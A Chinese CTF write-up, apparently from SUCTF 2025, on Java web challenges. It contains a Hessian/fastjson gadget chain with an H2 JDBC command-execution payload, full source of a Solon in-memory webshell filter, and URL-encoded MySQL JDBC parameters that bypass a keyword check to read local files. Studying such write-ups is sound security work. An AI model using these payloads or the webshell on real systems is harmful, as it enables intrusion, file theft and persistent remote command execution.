青丝白发一瞬间,年华老去向谁言。 春风若有怜花意,可否许我再少年?
学习ing
SU_ez_solon 先看到pom.xml,主要依赖如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <dependency > <groupId > com.alipay.sofa</groupId > <artifactId > hessian</artifactId > <version > 3.5.5</version > </dependency > <dependency > <groupId > com.alibaba</groupId > <artifactId > fastjson</artifactId > <version > 1.2.83</version > </dependency > <dependency > <groupId > com.h2database</groupId > <artifactId > h2</artifactId > <version > 2.2.224</version > </dependency >
框架为:Solon3.0.4.1
开局就一个hessian2反序列化,然后调用object.toString(),这里就猜测是通过fastjson触发getter,看到黑名单:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 aj.org.objectweb.asm. br.com.anteros. bsh. ch.qos.logback. clojure. com.alibaba.citrus.springext.support.parser. com.alibaba.citrus.springext.util.SpringExtUtil. com.alibaba.druid.pool. com.alibaba.druid.stat.JdbcDataSourceStat com.alibaba.fastjson.annotation. com.alibaba.hotcode.internal.org.apache.commons.collections.functors. com.alipay.custrelation.service.model.redress. com.alipay.oceanbase.obproxy.druid.pool. com.caucho.hessian.test.TestCons com.caucho.naming.Qname com.ibatis. com.ibm.jtc.jax.xml.bind.v2.runtime.unmarshaller. com.ibm.xltxe.rnm1.xtq.bcel.util. com.mchange. com.mysql.cj.jdbc.admin. com.mysql.cj.jdbc.MysqlConnectionPoolDataSource com.mysql.cj.jdbc.MysqlDataSource com.mysql.cj.jdbc.MysqlXADataSource com.mysql.cj.log. com.mysql.jdbc.util. com.p6spy.engine. com.rometools.rome.feed. com.sun. com.taobao.eagleeye.wrapper. com.taobao.vipserver.commons.collections.functors. com.zaxxer.hikari. flex.messaging.util.concurrent. groovy.lang. java.awt. java.beans. java.net.InetAddress java.net.Socket java.net.URL java.rmi. java.security. java.util.EventListener java.util.jar. java.util.logging. java.util.prefs. java.util.ServiceLoader java.util.StringTokenizer javassist. javax.activation. javax.imageio. javax.management. javax.media.jai.remote. javax.naming. javax.net. javax.print. javax.script. javax.sound. javax.swing. javax.tools. javax.xml jdk.internal. jodd.db.connection. junit. net.bytebuddy.dynamic.loading. net.sf.cglib. net.sf.ehcache.hibernate. net.sf.ehcache.transaction.manager. ognl. oracle.jdbc. oracle.jms.aq. oracle.net. org.aoju.bus.proxy.provider. org.apache.activemq.ActiveMQConnectionFactory org.apache.activemq.ActiveMQXAConnectionFactory org.apache.activemq.jms.pool. org.apache.activemq.pool. org.apache.activemq.spring. org.apache.aries.transaction. org.apache.axis2.jaxws.spi.handler. org.apache.axis2.transport.jms. org.apache.bcel. org.apache.carbondata.core.scan.expression. org.apache.catalina. org.apache.cocoon. org.apache.commons.beanutils. org.apache.commons.codec. org.apache.commons.collections.comparators. org.apache.commons.collections.functors. org.apache.commons.collections.Transformer org.apache.commons.collections4.comparators. org.apache.commons.collections4.functors. org.apache.commons.collections4.Transformer org.apache.commons.configuration. org.apache.commons.configuration2. org.apache.commons.dbcp. org.apache.commons.fileupload. org.apache.commons.jelly. org.apache.commons.logging. org.apache.commons.proxy. org.apache.cxf.jaxrs.provider. org.apache.hadoop.shaded.com.zaxxer.hikari. org.apache.http.auth. org.apache.http.conn. org.apache.http.cookie. org.apache.http.impl. org.apache.ibatis.datasource. org.apache.ibatis.executor. org.apache.ibatis.javassist. org.apache.ibatis.ognl. org.apache.ibatis.parsing. org.apache.ibatis.reflection. org.apache.ibatis.scripting. org.apache.ignite.cache. org.apache.ignite.cache.jta. org.apache.log.output.db. org.apache.log4j. org.apache.logging. org.apache.myfaces.context.servlet. org.apache.myfaces.view.facelets.el. org.apache.openjpa.ee. org.apache.shiro. org.apache.tomcat. org.apache.velocity. org.apache.wicket.util. org.apache.xalan. org.apache.xbean. org.apache.xpath. org.apache.zookeeper. org.aspectj. org.codehaus.groovy.runtime. org.codehaus.jackson. org.datanucleus.store.rdbms.datasource.dbcp.datasources. org.dom4j. org.eclipse.jetty. org.geotools.filter. org.h2.jdbcx. org.h2.server. org.h2.value. org.hibernate. org.javasimon. org.jaxen. org.jboss. org.jdom. org.jdom2.transform. org.junit. org.logicalcobwebs. org.mockito. org.mortbay.jetty. org.mortbay.log. org.mozilla.javascript. org.objectweb.asm. org.osjava.sj. org.python.core. org.quartz. org.slf4j. org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor org.springframework.beans.factory.BeanFactory org.springframework.beans.factory.config.PropertyPathFactoryBean org.springframework.beans.factory.support.DefaultListableBeanFactory org.springframework.jndi.support.SimpleJndiBeanFactory org.springframework.orm.jpa.AbstractEntityManagerFactoryBean org.springframework.transaction.jta.JtaTransactionManager org.springframework.jndi.JndiObjectTargetSource org.springframework.beans.factory.config.MethodInvokingFactoryBean org.thymeleaf. org.yaml.snakeyaml.tokens. pstore.shaded.org.apache.commons.collections. sun.print. sun.rmi.server. sun.rmi.transport. weblogic.ejb20.internal. weblogic.jms.common.
把已知的getter链都ban掉了,需要找一条新链
使用tabby进行挖掘
1 2 match path= (m1:Method )- [:CALL * ..10 ]- > (m2:Method {IS_SINK:true }) where m1.NAME = ~ "get.*" and m1.PARAMETER_SIZE= 0 and m2.VUL= "JNDI"return path limit 10
很容易就可以找到类org.noear.solon.data.util.UnpooledDataSource
通过DriverManager.getConnection
实现JDBC利用,正好可以打H2数据库
还需要绕过securityManager
在命令执行之前System.setSecurityManager(null);
就可以了
exp:
1 2 3 4 UnpooledDataSource unpooledDataSource = new UnpooledDataSource ("jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS if not exists EXEC AS 'void exec(String cmd) throws java.io.IOException {System.setSecurityManager(null)\\;Runtime.getRuntime().exec(cmd)\\;}'\\;CALL EXEC ('open -a Calculator.app')\\;" ,"a" ,"a" ,"org.h2.Driver" );unpooledDataSource.setLogWriter(null ); JSONObject jsonObject = new JSONObject ();jsonObject.put("xx" , unpooledDataSource);
内存马实现 既然碰到了Solon框架,顺便实现一下内存马吧,网上也已经给出过具体思路了,简单看一下
参考:Solon框架注入内存马
通过官方文档:认识请求上下文(Context)
1 Context ctx = Context.current();
直接获取当前上下文(基于 ThreadLocal 实现)
获取_chainManager
:
而org.noear.solon.core.ChainManager
这个类存在addFilter方法,可以动态添加Filter
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 import org.noear.solon.core.ChainManager;import org.noear.solon.core.handle.Context;import org.noear.solon.core.handle.Filter;import org.noear.solon.core.handle.FilterChain;import java.lang.reflect.Field;public class FilterMemshell implements Filter { static { try { Context ctx = Context.current(); Object _request = getfieldobj(ctx,"_request" ); Object request = getfieldobj(_request,"request" ); Object serverHandler = getfieldobj(request,"serverHandler" ); Object handler = getfieldobj(serverHandler,"handler" ); Object arg$1 = getfieldobj(handler,"arg$1" ); ChainManager _chainManager = (ChainManager) getfieldobj(arg$1 ,"_chainManager" ); _chainManager.addFilter(new FilterMemshell (),0 ); }catch (Exception e){ e.printStackTrace(); } } public void doFilter (Context ctx, FilterChain chain) throws Throwable { try { System.setSecurityManager(null ); if (ctx.param("cmd" ) != null ) { String str = ctx.param("cmd" ); try { String[] cmds = System.getProperty("os.name" ).toLowerCase().contains("win" ) ? new String []{"cmd.exe" , "/c" , str} : new String []{"/bin/bash" , "-c" , str}; String output = (new java .util.Scanner((new ProcessBuilder (cmds)).start().getInputStream())).useDelimiter("\\A" ).next(); ctx.output(output); } catch (Exception e) { e.printStackTrace(); } } } catch (Throwable e) { ctx.output(e.getMessage()); } chain.doFilter(ctx); } public static Object getfieldobj (Object obj, String Filename) throws NoSuchFieldException, IllegalAccessException { try { Field field = obj.getClass().getDeclaredField(Filename); field.setAccessible(true ); Object fieldobj = field.get(obj); return fieldobj; }catch (NoSuchFieldException e) { Field field = obj.getClass().getSuperclass().getDeclaredField(Filename); field.setAccessible(true ); Object fieldobj = field.get(obj); return fieldobj; } } }
成功写入内存马
SU_sujava
网上泄露了一个危险的接口,但是不太聪明的程序员设计了防护去保护它,你能绕过吗。顺带一提,给出的源码存在混淆
jd-gui反编译 SecurityChecker.class 得到源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 import com.pho3n1x.sujava.security.SecurityChecker;import java.io.UnsupportedEncodingException;import java.net.URLDecoder;import java.util.HashMap;import java.util.Iterator;import java.util.Map;import java.util.regex.Matcher;import java.util.regex.Pattern;import java.util.stream.Collectors;import org.apache.commons.lang3.StringUtils;public class SecurityChecker { public static final String checklist = "allowLoadLocalInfile,autoDeserialize,allowLocalInfile,allowUrlInLocalInfile,#" ; public static void checkJdbcConnParams (String host, Integer port, String username, String password, String database, Map<String, Object> extraParams) throws Exception { if (!host.trim().matches("^[a-zA-Z0-9.-]+$" ) || !database.matches("^[a-zA-Z0-9_]+$" ) || parseParamsMapToMysqlParamUrl(extraParams).matches(".*(allowLoadLocalInfile|autoDeserialize|allowLocalInfile|allowUrlInLocalInfile|#|%).*" )) { throw new Exception ("Invalid mysql connection params." ); } }; public static String MYSQL_SECURITY_CHECK_ENABLE = "true" ; public static String MYSQL_CONNECT_URL = "jdbc:mysql://%s:%s/%s" ; public static String JDBC_MYSQL_PROTOCOL = "jdbc:mysql" ; public static String JDBC_MATCH_REGEX = "(?i)jdbc:(?i)(mysql)://([^:]+)(:[0-9]+)?(/[a-zA-Z0-9_-]*[\\.\\-]?)?" ; private static final String AND_SYMBOL = "&" ; private static final String EQUAL_SIGN = "=" ; public static String MYSQL_SENSITIVE_PARAMS = "allowLoadLocalInfile,autoDeserialize,allowLocalInfile,allowUrlInLocalInfile,#" ; private static final String COMMA = "," ; private static final String BLACKLIST_REGEX = "autodeserialize|allowloadlocalinfile|allowurlinlocalinfile|allowloadlocalinfileinpath" ; public static void checkJdbcConnParams (String paramString1, Integer paramInteger, String paramString2, String paramString3, String paramString4, Map<String, Object> paramMap) throws Exception { if (!Boolean.valueOf(MYSQL_SECURITY_CHECK_ENABLE).booleanValue()) return ; if (StringUtils.isAnyBlank(new CharSequence [] { paramString1, paramString2 })) throw new Exception ("Invalid mysql connection params." ); String str = String.format(MYSQL_CONNECT_URL, new Object [] { paramString1.trim(), paramInteger, paramString4.trim() }); checkHost(paramString1.trim()); checkUrl(str); checkParams(paramMap); checkUrlIsSafe(str); } public static void checkHost (String paramString) throws Exception { if (paramString == null ) return ; if (paramString.startsWith("(" ) || paramString.endsWith(")" )) throw new Exception ("Invalid host" ); } public static void checkUrl (String paramString) throws Exception { if (paramString != null && !paramString.toLowerCase().startsWith(JDBC_MYSQL_PROTOCOL)) return ; Pattern pattern = Pattern.compile(JDBC_MATCH_REGEX); Matcher matcher = pattern.matcher(paramString); if (!matcher.matches()) throw new Exception (); } private static Map<String, Object> parseMysqlUrlParamsToMap (String paramString) { if (StringUtils.isBlank(paramString)) return new HashMap <>(); String[] arrayOfString = paramString.split("&" ); HashMap<Object, Object> hashMap = new HashMap <>(arrayOfString.length); for (String str : arrayOfString) { String[] arrayOfString1 = str.split("=" ); if (arrayOfString1.length == 2 ) hashMap.put(arrayOfString1[0 ], arrayOfString1[1 ]); } return (Map)hashMap; } public static String parseParamsMapToMysqlParamUrl (Map<String, Object> paramMap) { return (paramMap == null || paramMap.isEmpty()) ? "" : paramMap.entrySet().stream().map(paramEntry -> String.join("=" , new CharSequence [] { (CharSequence)paramEntry.getKey(), String.valueOf(paramEntry.getValue()) })).collect(Collectors.joining("&" )); } private static void checkParams (Map<String, Object> paramMap) throws Exception { if (paramMap == null || paramMap.isEmpty()) return ; String str = parseParamsMapToMysqlParamUrl(paramMap); try { str = URLDecoder.decode(str, "UTF-8" ); } catch (UnsupportedEncodingException unsupportedEncodingException) { throw new Exception ("mysql connection cul decode error: " + unsupportedEncodingException); } Map<String, Object> map = parseMysqlUrlParamsToMap(str); paramMap.clear(); paramMap.putAll(map); Iterator<Map.Entry> iterator = paramMap.entrySet().iterator(); while (iterator.hasNext()) { Map.Entry entry = iterator.next(); String str1 = (String)entry.getKey(); Object object = entry.getValue(); if (StringUtils.isBlank(str1) || object == null || StringUtils.isBlank(object.toString())) { iterator.remove(); continue ; } if (isNotSecurity(str1, object.toString())) throw new Exception ("Invalid mysql connection parameters: " + parseParamsMapToMysqlParamUrl(paramMap)); } } private static boolean isNotSecurity (String paramString1, String paramString2) { boolean bool = true ; String str = MYSQL_SENSITIVE_PARAMS; if (StringUtils.isBlank(str)) return false ; String[] arrayOfString = str.split("," ); for (String str1 : arrayOfString) { if (isNotSecurity(paramString1, paramString2, str1)) { bool = false ; break ; } } return !bool; } private static boolean isNotSecurity (String paramString1, String paramString2, String paramString3) { return (paramString1.toLowerCase().contains(paramString3.toLowerCase()) || paramString2.toLowerCase().contains(paramString3.toLowerCase())); } public static void checkUrlIsSafe (String paramString) throws Exception { try { String str = paramString.toLowerCase(); Pattern pattern = Pattern.compile("autodeserialize|allowloadlocalinfile|allowurlinlocalinfile|allowloadlocalinfileinpath" ); Matcher matcher = pattern.matcher(str); StringBuilder stringBuilder = new StringBuilder (); while (matcher.find()) { if (stringBuilder.length() > 0 ) stringBuilder.append(", " ); stringBuilder.append(matcher.group()); } if (stringBuilder.length() > 0 ) throw new Exception ("url contains blacklisted characters: " + stringBuilder); } catch (Exception exception) { throw new Exception ("error occurred during url security check: " + exception); } } public static void appendMysqlForceParams (Map<String, Object> paramMap) { paramMap.putAll(parseMysqlUrlParamsToMap("allowLoadLocalInfile=false&autoDeserialize=false&allowLocalInfile=false&allowUrlInLocalInfile=false" )); } }
发现是一个Mysql JDBC的操作,需要绕过以下check:
host不能(
开头,)
结尾
str需要满足正则:(?i)jdbc:(?i)(mysql)://([^:]+)(:[0-9]+)?(/[a-zA-Z0-9_-]*[\\.\\-]?)?
在url的最后会强制添加allowLoadLocalInfile=false&autoDeserialize=false&allowLocalInfile=false&allowUrlInLocalInfile=false
匹配关键字:autodeserialize|allowloadlocalinfile|allowurlinlocalinfile|allowloadlocalinfileinpath
很经典的:https://github.com/Y4Sec-Team/mysql-jdbc-tricks
由于MySQL驱动允许URL编码,这样就可以绕过关键字
在正则中([^:]+)
匹配非冒号字符串,假如我们传入的字符串中没有冒号,就可以插入任意语句
通过#
号注释掉强行添加的内容
看到:https://mysql.net.cn/doc/connector-j/8.0/en/connector-j-reference-jdbc-url-format.html
我们可以传入jdbc:mysql://address=(host=myhost)(port=1111)(key1=value1)/db
类似的键值对
官方给出的exp:
1 2 3 4 /jdbc post: host=ADDRESS=(host=127.0.0.1)(port=3306)(database=test)(user=fileread_file%3A%2F%2F%2F.)(%61%6c%6c%6f%77%4c%6f%61%64%4c%6f%63%61%6c%49%6e%66%69%6c%65=true)(%61%6c%6c%6f%77%4c%6f%61%64%4c%6f%63%61%6c%49%6e%66%69%6c%65%49%6e%50%61%74%68=%2F)(%61%6c%6c%6f%77%55%72%6c%49%6e%4c%6f%63%61%6c%49%6e%66%69%6c%65=true)(%6d%61%78%41%6c%6c%6f%77%65%64%50%61%63%6b%65%74=655360)#/test&port=3306&database=test&extraParams={}&username=test&password=root
最后传参记得再URL编码一次
余 剩下一个SU_PWN,考查的CVE-2022-34169 POC:https://gist.github.com/thanatoskira/07dd6124f7d8197b48bc9e2ce900937f 黑名单可以用
1 <?xml version="1.0" encoding="UTF-16" ?>
绕过,也可以将关键字转换为HTML实体编码绕过
还有一个SU_ez_micronaut,出题人已经解答的很详细了,膜拜:https://www.yulate.com/post/suctf2025-chu-ti-ji-lu/